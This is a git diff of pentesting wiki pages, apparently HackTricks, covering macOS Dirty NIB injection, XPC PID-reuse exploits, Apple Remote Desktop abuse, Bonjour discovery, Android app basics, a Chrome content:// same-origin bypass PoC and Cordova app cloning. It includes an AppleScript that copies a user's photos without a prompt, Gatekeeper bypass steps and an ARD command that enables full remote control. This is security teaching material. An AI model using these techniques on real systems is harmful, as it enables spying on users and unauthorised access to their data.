- -So we can put our POC to the test by **modifying our AppleScript to steal photos** from the user without prompting: - -{% code overflow="wrap" %} -```applescript -use framework "Cocoa" -use framework "Foundation" - -set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif" - -grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1 -``` -{% endcode %} - -{% hint style="danger" %} -[**Malicious .xib file that executes arbitrary code example.**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) -{% endhint %} - -## Create your own DirtyNIB - - - -## Launch Constraints - -They basically **prevent executing applications outside of their expected locations**, so if you copy an application protected by Launch Constrains to `/tmp` you won't be able to execute it.\ -[**Find more information in this post**](../macos-security-protections/#launch-constraints)**.** - -However, parsing the file **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`** you can still find **applications that aren't protected by Launch Constrains** so can could still **inject** **NIB** files in arbitrary locations into **those** (check the previous link to learn how to find these apps). - -## Extra Protections - -From macOS Somona, there are some protections **preventing to write inside Apps**. However, it's still possible to bypass this protection if, before running your copy of the binary, you change the name of the Contents folder: - -1. Take a copy of `CarPlay Simulator.app` to `/tmp/` -2. Rename `/tmp/Carplay Simulator.app/Contents` to `/tmp/CarPlay Simulator.app/NotCon` -3. Launch the binary `/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator` to cache within Gatekeeper -4. Overwrite `NotCon/Resources/Base.lproj/MainMenu.nib` with our `Dirty.nib` file -5. Rename to `/tmp/CarPlay Simulator.app/Contents` -6. Launch `CarPlay Simulator.app` again - -{% hint style="success" %} -It looks like this is no longer possible because macOS **prevents modifying files** inside applications bundles.\ -So, after executing the app to cache it with Gatekeeper, you won't be able to modify the bundle.\ -And if you change for example the name of the Contents directory to **NotCon** (as indicated in the exploit), and then execute the main binary of the app to cache it with Gatekeeper, it will **trigger an error and won't execute**. -{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md index 22c430419..ac8dd2976 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md @@ -22,10 +22,10 @@ This function will make the **allowed binary own the PID** but the **malicious X ### Exploit example -If you find the function **`shouldAcceptNewConnection`** or a function called by it **calling** **`processIdentifier`** and not calling **`auditToken`**. It highly probable means that it's v**erifying the process PID** and not the audit token.\ +If you find the function **`shouldAcceptNewConnection`** or a function called by it **calling** **`processIdentifier`** and not calling **`auditToken`**. It highly probable means that it's **verifying the process PID** and not the audit token.\ Like for example in this image (taken from the reference): -
+
https://wojciechregula.blog/images/2020/04/pid.png
Check this example exploit (again, taken from the reference) to see the 2 parts of the exploit: @@ -47,7 +47,7 @@ asm(".section __DATA,__objc_fork_ok\n" First option using **`NSTasks`** and argument to launch the children to exploit the RC ```objectivec -// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ +// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ // gcc -framework Foundation expl.m -o expl #import diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md b/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md index 3230b4f07..8d164a0f8 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md @@ -38,76 +38,73 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin ### Pentesting ARD -(This part was [**taken from this blog post**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)) +Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits. -It's essentially a bastardized [VNC](https://en.wikipedia.org/wiki/Virtual\_Network\_Computing) with some **extra macOS specific features**.\ -However, the **Screen Sharing option** is just a **basic VNC** server. There is also an advanced ARD or Remote Management option to **set a control screen password** which will make ARD backwards **compatible for VNC clients**. However there is a weakness to this authentication method that **limits** this **password** to an **8 character auth buffer**, making it very easy to **brute force** with a tool like [Hydra](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) or [GoRedShell](https://github.com/ahhh/GoRedShell/) (there are also **no rate limits by default**).\ -You can identify **vulnerable instances of Screen Sharing** or Remote Management with **nmap**, using the script `vnc-info`, and if the service supports `VNC Authentication (2)` then they are likely **vulnerable to brute force**. The service will truncate all passwords sent on the wire down to 8 characters, such that if you set the VNC auth to "password", both "passwords" and "password123" will authenticate. +Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation. -
+To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command: -If you want to enable it to escalate privileges (accept TCC prompts), access with a GUI or spy the user, it's possible to enable it with: - -{% code overflow="wrap" %} ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ``` -{% endcode %} -You can switch between **observation** mode, **shared control**, and **full control**, going from spying on a user to taking over their desktop at the click of a button. Moreover, If you do get access to an ARD session, that session will remain open until the session is terminated, even if the user's password is changed during the session. +ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines. -You can also **send unix commands directly** over ARD and you can specify the root user to execute things as root if your an administrative user. You can even use this unix command method to schedule remote tasks to run at a specific time, however this occurs as a network connection at the specified time (vs being stored and executing on the target server). Finally, remote Spotlight is one of my favorite features. It's really neat because you can run a low impact, indexed search quickly and remotely. This is gold for searching for sensitive files because it's quick, lets you run searches concurrently across multiple machines, and won't spike the CPU. ## Bonjour Protocol -**Bonjour** is an Apple-designed technology that enables computers and **devices located on the same network to learn about services offered** by other computers and devices. It is designed such that any Bonjour-aware device can be plugged into a TCP/IP network and it will **pick an IP address** and make other computers on that network **aware of the services it offers**. Bonjour is sometimes referred to as Rendezvous, **Zero Configuration**, or Zeroconf.\ -Zero Configuration Networking, such as Bonjour provides: +Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices. -* Must be able to **obtain an IP Address** (even without a DHCP server) -* Must be able to do **name-to-address translation** (even without a DNS server) -* Must be able to **discover services on the network** +Zero Configuration Networking, provided by Bonjour, ensures that devices can: +* **Automatically obtain an IP Address** even in the absence of a DHCP server. +* Perform **name-to-address translation** without requiring a DNS server. +* **Discover services** available on the network. -The device will get an **IP address in the range 169.254/16** and will check if any other device is using that IP address. If not, it will keep the IP address. Macs keeps an entry in their routing table for this subnet: `netstat -rn | grep 169` +Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`. -For DNS the **Multicast DNS (mDNS) protocol is used**. [**mDNS** **services** listen in port **5353/UDP**](../../network-services-pentesting/5353-udp-multicast-dns-mdns.md), use **regular DNS queries** and use the **multicast address 224.0.0.251** instead of sending the request just to an IP address. Any machine listening these request will respond, usually to a multicast address, so all the devices can update their tables.\ -Each device will **select its own name** when accessing the network, the device will choose a name **ended in .local** (might be based on the hostname or a completely random one). +For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records. -For **discovering services DNS Service Discovery (DNS-SD)** is used. +Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated. -The final requirement of Zero Configuration Networking is met by **DNS Service Discovery (DNS-SD)**. DNS Service Discovery uses the syntax from DNS SRV records, but uses **DNS PTR records so that multiple results can be returned** if more than one host offers a particular service. A client requests the PTR lookup for the name `.` and **receives** a list of zero or more PTR records of the form `..`. +Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `.`, receiving in return a list of PTR records formatted as `..` if the service is available from multiple hosts. -The `dns-sd` binary can be used to **advertise services and perform lookups** for services: +The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage: + +### Searching for SSH Services + +To search for SSH services on the network, the following command is used: ```bash -#Search ssh services dns-sd -B _ssh._tcp - -Browsing for _ssh._tcp -DATE: ---Tue 27 Jul 2021--- -12:23:20.361 ...STARTING... -Timestamp A/R Flags if Domain Service Type Instance Name -12:23:20.362 Add 3 1 local. _ssh._tcp. M-C02C934RMD6R -12:23:20.362 Add 3 10 local. _ssh._tcp. M-C02C934RMD6R -12:23:20.362 Add 2 16 local. _ssh._tcp. M-C02C934RMD6R ``` -```bash -#Announce HTTP service -dns-sd -R "Index" _http._tcp . 80 path=/index.html +This command initiates browsing for _ssh._tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name. -#Search HTTP services +### Advertising an HTTP Service + +To advertise an HTTP service, you can use: + +```bash +dns-sd -R "Index" _http._tcp . 80 path=/index.html +``` + +This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`. + +To then search for HTTP services on the network: + +```bash dns-sd -B _http._tcp ``` -When a new service is started the **new service mulitcasts its presence to everyone** on the subnet. The listener didn’t have to ask; it just had to be listening. +When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements. -You ca use [**this tool**](https://apps.apple.com/us/app/discovery-dns-sd-browser/id1381004916?mt=12) to see the **offered services** in your current local network.\ -Or you can write your own scripts in python with [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf): +For a more user-friendly interface, the ****Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network. + +Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services: ```python from zeroconf import ServiceBrowser, Zeroconf - class MyListener: def remove_service(self, zeroconf, type, name): @@ -117,7 +114,6 @@ class MyListener: info = zeroconf.get_service_info(type, name) print("Service %s added, service info: %s" % (name, info)) - zeroconf = Zeroconf() listener = MyListener() browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener) @@ -127,7 +123,8 @@ finally: zeroconf.close() ``` -If you feel like Bonjour might be more secured **disabled**, you can do so with: +### Disabling Bonjour +If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command: ```bash sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist diff --git a/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-pentesting/android-app-pentesting/android-applications-basics.md index d52da2ac2..28140efe4 100644 --- a/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -91,50 +91,41 @@ Once a device is rooted, any app could request access as root. If a malicious ap ## Android Application Fundamentals -This introduction is taken from [https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html) - -### Fundamentals Review - -* Android applications are in the _APK file format_. **APK is basically a ZIP file**. (You can rename the file extension to .zip and use unzip to open and see its contents.) -* APK Contents (Not exhaustive) - * **AndroidManifest.xml** - * resources.arsc/strings.xml - * resources.arsc: a file containing precompiled resources, such as binary XML for example. - * res/xml/files\_paths.xml - * META-INF/ - * Certificate lives here! - * **classes.dex** - * Dalvik bytecode for application in the DEX file format. **This is the Java (or Kotlin) code** compiled that the application will run by default. - * lib/ - * Native libraries for the application, by default, live here! Under the lib/ directory, there are the cpu-specific directories. - * `armeabi`: compiled code for all ARM based processors only - * `armeabi-v7a`: compiled code for all ARMv7 and above based processors only - * `x86`: compiled code for X86 - * `mips`: compiled code for MIPS processors only - * assets/ - * Any other files that may be needed by the app. - * Additional native libraries or DEX files may be included here. This can happen especially when malware authors want to try and “hide” additional code, native or Dalvik, by not including it in the default locations. - * res/ - * the directory containing resources not compiled into resources.arsc +- The format of Android applications is referred to as _APK file format_. It is essentially a **ZIP file** (by renaming the file extension to .zip, the contents can be extracted and viewed). +- APK Contents (Not exhaustive) + - **AndroidManifest.xml** + - resources.arsc/strings.xml + - resources.arsc: contains precompiled resources, like binary XML. + - res/xml/files\_paths.xml + - META-INF/ + - This is where the Certificate is located! + - **classes.dex** + - Contains Dalvik bytecode, representing the compiled Java (or Kotlin) code that the application executes by default. + - lib/ + - Houses native libraries, segregated by CPU architecture in subdirectories. + - `armeabi`: code for ARM based processors + - `armeabi-v7a`: code for ARMv7 and higher based processors + - `x86`: code for X86 processors + - `mips`: code for MIPS processors only + - assets/ + - Stores miscellaneous files needed by the app, potentially including additional native libraries or DEX files, sometimes used by malware authors to conceal additional code. + - res/ + - Contains resources that are not compiled into resources.arsc ### **Dalvik & Smali** -Most Android applications are written in Java. Kotlin is also supported and interoperable with Java. For ease, for the rest of this workshop, when I refer to “Java”, you can assume that I mean “Java or Kotlin”. **Instead of the Java code being run in Java Virtual Machine** (JVM) like desktop applications, in Android, the **Java is compiled to the \_Dalvik Executable (DEX) bytecode**\_\*\* format\*\*. For earlier versions of Android, the bytecode was translated by the Dalvik virtual machine. For more recent versions of Android, the Android Runtime (ART) is used.\ -If developers, write in Java and the code is compiled to DEX bytecode, to reverse engineer, we work the opposite direction.\ -\\ +- Most Android apps are developed in Java or Kotlin (interchangeable in this context when referred to as "Java"). +- **Instead of running Java code in the Java Virtual Machine** (JVM) like desktop apps, Android compiles Java into **Dalvik Executable (DEX) bytecode**. +- The translation of bytecode was historically handled by the Dalvik virtual machine, while more recent Android versions use the Android Runtime (ART). +- The reverse engineering process involves decompiling the DEX bytecode back to a human-readable format. + +**Smali is the human-readable form of Dalvik bytecode**. While "Smali" and "baksmali" technically refer to the assembler and disassembler tools, in the Android context, "Smali" often denotes the instructions themselves. **SMALI is akin to assembly language, serving as an intermediary between source code and bytecode**. -![Flowchart of Developer's process. Java to DEX bytecode](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg) - -![Flowchart of Reverse Engineer's process. DEX bytecode to SMALI to Decompiled Java](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg) - -**Smali is the human readable version of Dalvik bytecode**. Technically, Smali and baksmali are the name of the tools (assembler and disassembler, respectively), but in Android, we often use the term “Smali” to refer to instructions. If you’ve done reverse engineering or computer architecture on compiled C/C++ code. **SMALI is like the assembly language: between the higher level source code and the bytecode**.
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. -{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} - *** ## Intents @@ -462,6 +453,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track *** +
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! diff --git a/mobile-pentesting/android-app-pentesting/content-protocol.md b/mobile-pentesting/android-app-pentesting/content-protocol.md index 0db2029c5..f00cb07e3 100644 --- a/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -15,75 +15,57 @@ Other ways to support HackTricks:
-To experiment with content providers, one can use the `content` command on Android devices. Root access is not necessarily required. For example, to see the list of files managed by the Media Store, one can execute the following command: +**This is a summary of the post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)** +### Listing Files in Media Store +To list files managed by the Media Store, the command below can be used: ```bash $ content query --uri content://media/external/file ``` -To make the output more human friendly, one can limit the displayed columns to the identifier and path of each indexed file. - +For a more human-friendly output, displaying only the identifier and path of each indexed file: ```bash $ content query --uri content://media/external/file --projection _id,_data ``` -Media providers exist in their own private namespace. As illustrated in the example above, to access a content provider the corresponding `content://` URI should be specified. Generally, information on the paths, via which a provider can be accessed, can be recovered by looking at application manifests (in case the content provider is exported by an application) or the source code of the Android framework. +Content providers are isolated in their own private namespace. Access to a provider requires the specific `content://` URI. Information about the paths for accessing a provider can be obtained from application manifests or the Android framework's source code. -Interestingly, on Android devices Chrome supports accessing content providers via the `content://` scheme. This feature allows the browser to access resources (e.g. photos, documents etc.) exported by third party applications. To verify this, one can insert a custom entry in the Media Store and then access it using the browser: +### Chrome's Access to Content Providers +Chrome on Android can access content providers through the `content://` scheme, allowing it to access resources like photos or documents exported by third-party applications. To illustrate this, a file can be inserted into the Media Store and then accessed via Chrome: +Insert a custom entry into the Media Store: ```bash -$ cd /sdcard -$ echo "Hello, world!" > test.txt -$ content insert --uri content://media/external/file \ +cd /sdcard +echo "Hello, world!" > test.txt +content insert --uri content://media/external/file \ --bind _data:s:/storage/emulated/0/test.txt \ --bind mime_type:s:text/plain ``` -To discover the identifier of the newly inserted file: - +Discover the identifier of the newly inserted file: ```bash -$ content query --uri content://media/external/file \ +content query --uri content://media/external/file \ --projection _id,_data | grep test.txt -Row: 283 _id=747, _data=/storage/emulated/0/test.txt +# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt ``` -And to actually view the file in Chrome, one can use a URL like the one shown in the following picture. Notice the file identifier 747 (discovered above) which is used as a suffix in the URL. - -![Chrome "Hello, world!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png) - -For example, you could list all the files related to WhatsApp with: +The file can then be viewed in Chrome using a URL constructed with the file's identifier. +For instance, to list files related to a specific application: ```bash -$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp -... - -Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache -Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443 -Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443 -Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443 -Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443 -Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443 -Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443 -... +content query --uri content://media/external/file --projection _id,_data | grep -i ``` -## The Chrome CVE-2020-6516 Same-Origin-Policy bypass +### Chrome CVE-2020-6516: Same-Origin-Policy Bypass -The _Same Origin Policy_ (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] in browsers dictates that Javascript content of URL A will only be able to access content at URL B if the following URL attributes remain the same for A and B: +The _Same Origin Policy_ (SOP) is a security protocol in browsers that restricts web pages from interacting with resources from different origins unless explicitly allowed by a Cross-Origin-Resource-Sharing (CORS) policy. This policy aims to prevent information leaks and cross-site request forgery. Chrome considers `content://` as a local scheme, implying stricter SOP rules, where each local scheme URL is treated as a separate origin. -* The protocol e.g. `https` vs. `http` -* The domain e.g. `www.example1.com` vs. `www.example2.com` -* The port e.g. `www.example1.com:8080` vs. `www.example1.com:8443` +However, CVE-2020-6516 was a vulnerability in Chrome that allowed a bypass of SOP rules for resources loaded via a `content://` URL. In effect, JavaScript code from a `content://` URL could access other resources loaded via `content://` URLs, which was a significant security concern, especially on Android devices running versions earlier than Android 10, where scoped storage was not implemented. -Of course, there are exceptions to the above rules, but in general, a resource from `https://www.example1.com` (e.g. a piece of Javascript code) cannot access the DOM of a resource on `https://www.example2.com`, as this would introduce serious information leaks. **Unless a Cross-Origin-Resource-Sharing (CORS) policy explicitly allows so, it shouldn't be possible for a web resource to bypass the SOP rules.** +The proof-of-concept below demonstrates this vulnerability, where an HTML document, after being uploaded under **/sdcard** and added to the Media Store, uses `XMLHttpRequest` in its JavaScript to access and display the contents of another file in the Media Store, bypassing the SOP rules. -It's essential to note that Chrome considers `content://` to be a _local scheme_, just like `file://`. In this case SOP rules are even more strict, as each local scheme URL is considered a separate origin. For example, Javascript code in **file:///tmp/test.html** should not be able to access the contents of **file:///tmp/test2.html**, or any other file on the filesystem for that matter. **Consequently, according to SOP rules, a resource loaded via `content://` should not be able access any other `content://` resource.** Well, vulnerability CVE-2020-6516 of Chrome created an "exception" to this rule. - -CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] is a SOP bypass on resources loaded via a `content://` URL. **For example, Javascript code, running from within the context of an HTML document loaded from `content://com.example.provider/test.html`, can load and access any other resource loaded via a `content://` URL.** This is a serious vulnerability, especially on devices running Android 9 or previous versions of Android. On these devices scoped storage \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)] is not implemented and, consequently, application-specific data under **/sdcard**, and more interestingly under **/sdcard/Android**, can be accessed via the system's Media Store content provider. - -A proof-of-concept is pretty straightforward. An HTML document that uses `XMLHttpRequest` to access arbitrary `content://` URLs is uploaded under **/sdcard**. It is then added in the Media Store and rendered in Chrome, in a fashion similar to the example shown earlier. For demonstration purposes, one can attempt to load `content://media/external/file/747` which is, in fact, the Media Store URL of the "Hello, world!" example. Surprisingly, the Javascript code, running within the origin of the HTML document, will fetch and display the contents of **test.txt**. - -```markup +Proof-of-Concept HTML: +```xml PoC @@ -112,8 +94,6 @@ A proof-of-concept is pretty straightforward. An HTML document that uses `XMLHtt ``` -**Information taken from this writeup:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) -
diff --git a/mobile-pentesting/cordova-apps.md b/mobile-pentesting/cordova-apps.md index 712d44720..4b77bc727 100644 --- a/mobile-pentesting/cordova-apps.md +++ b/mobile-pentesting/cordova-apps.md @@ -14,23 +14,17 @@ Other ways to support HackTricks:
-Info taken from the post [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58) +**For further details check [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. This is a sumary: -## Basic Information +Apache Cordova is recognized for enabling the development of **hybrid applications** using **JavaScript, HTML, and CSS**. It allows the creation of Android and iOS applications; however, it lacks a default mechanism for securing the application's source code. In contrast to React Native, Cordova does not compile the source code by default, which can lead to code tampering vulnerabilities. Cordova utilizes WebView to render applications, exposing the HTML and JavaScript code even after being compiled into APK or IPA files. React Native, conversely, employs a JavaScript VM to execute JavaScript code, offering better source code protection. -Apache Cordova is a popular framework that allows you to **create hybrid applications** (Android & iOS) using **JavaScript, HTML and CSS**. +### Cloning a Cordova Application -One of the major issues with Cordova is it **doesn’t come with a default method to secure** the **source** of the application, unlike react-native. The source of the Cordova application doesn’t have a default method to compile it which makes it **easy for code tampering**. The Cordova application uses WebView to render the application using HTML and JS which discloses the source code even after compiling it to APK or IPA whereas to react native use JavaScript VM to run the JavaScript Code. +Before cloning a Cordova application, ensure that NodeJS is installed along with other prerequisites like the Android SDK, Java JDK, and Gradle. The official Cordova [documentation](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) provides a comprehensive guide for these installations. -### Cloning Cordova Application +Consider an example application named `Bank.apk` with the package name `com.android.bank`. To access the source code, unzip `bank.apk` and navigate to the `bank/assets/www` folder. This folder contains the complete source code of the application, including HTML and JS files. The application's configuration can be found in `bank/res/xml/config.xml`. -To create a Cordova app we need to install the NodeJS. Apart from NodeJS, we need a few other things installed to complete the build process like Android SDK, Java JDK and Gradle. You can follow the [official documentation](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) for the list of requirements. - -For this example, we can assume that the original application name is `Bank.apk` and package name `com.android.bank` - -Unzip the `bank.apk` and open the `bank/assets/www` folder. We can view the **complete source of the Cordova application**. All the HTML and JS code can be used to create a clone of the application. We can also find the config file of the application in`bank/res/xml/config.xml`. - -Now we can create a new Cordova application project: +To clone the application, follow these steps: ```bash npm install -g cordova@latest @@ -38,58 +32,45 @@ cordova create bank-new com.android.bank Bank cd bank-new ``` -Now we need to copy all the files and folders from `bank/assets/www` to `bank-new/www.` +Copy the contents of `bank/assets/www` to `bank-new/www`, excluding `cordova_plugins.js`, `cordova.js`, `cordova-js-src/`, and the `plugins/` directory. -When we copy the source code we need to exclude a few files and folders like `cordova_plugins.js,cordova.js, cordova-js-src/, plugins/`. We can copy all the files and folders excluding those mentioned above. +Specify the platform (Android or iOS) when creating a new Cordova project. For cloning an Android app, add the Android platform. Note that Cordova's platform versions and Android API levels are distinct. Refer to the Cordova [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) for details on platform versions and supported Android APIs. -When we create a new Cordova project we need to mention whether the app is for Android or iOS. Since we are cloning the Android app we need to add an Android platform to it. In Cordva we have the platform versions, each version has different features and support for Android APIs or Android versions. +To determine the appropriate Cordova Android platform version, check the `PLATFORM_VERSION_BUILD_LABEL` in the original application's `cordova.js` file. -The Android API and Cordova Android platform versions both are different. You can [check out](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) the list of platform versions and their support for Android APIs. - -To add the Cordova Android platform we need to find out which version was originally used by the application. If you use a different version you might face issues since we are using the same source code to clone the application. You can open the `cordova.js` file and search `PLATFORM_VERSION_BUILD_LABEL` to find the version used by the application. - -\ - - -Now we have added Android platform support we can add all the required plugins used by the application. In the original application `bank/assets/www/cordova_plugins.js` , We can find a list of all the plugins used by the application. We need to install those plugins one by one. Search for `module.exports.metadata` in `cordova_plugins.js` file. We can see all the plugins with versions as well. - -
Cordova Plugins

Cordva Plugins

- -We need to install all the plugins one by one with the help of the below command +After setting up the platform, install the required plugins. The original application's `bank/assets/www/cordova_plugins.js` file lists all the plugins and their versions. Install each plugin individually as shown below: ```bash cd bank-new cordova plugin add cordova-plugin-dialogs@2.0.1 ``` -{% hint style="warning" %} -If a plugin isn't available in npm search it on Github: +If a plugin is not available on npm, it can be sourced from GitHub: ```bash cd bank-new cordova plugin add https://github.com/moderna/cordova-plugin-cache.git ``` -{% endhint %} -To compile the application, we need to make sure to have all requirements already installed. +Ensure all prerequisites are met before compiling: ```bash cd bank-new cordova requirements ``` -Once we have all the setup ready we can build the apk. +To build the APK, use the following command: ```bash cd bank-new cordova build android — packageType=apk ``` -The above build command will create an apk with debug method enabled which allows us to debug the application using Google Chrome. Before installing the apk make sure to sign the apk. If the application has code tampering detection it will be bypassed unless there is no specific configuration set. +This command generates an APK with the debug option enabled, facilitating debugging via Google Chrome. It's crucial to sign the APK before installation, especially if the application includes code tampering detection mechanisms. -### Automatic Tool +### Automation Tool -[**MobSecco**](https://github.com/Anof-cyber/MobSecco): A tool that automates the complete process of cloning the Android application. +For those seeking to automate the cloning process, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** is a recommended tool. It streamlines the cloning of Android applications, simplifying the steps outlined above.
diff --git a/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md b/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md index fee623b81..e4f97ee3e 100644 --- a/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md +++ b/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md @@ -15,28 +15,19 @@ Other ways to support HackTricks:
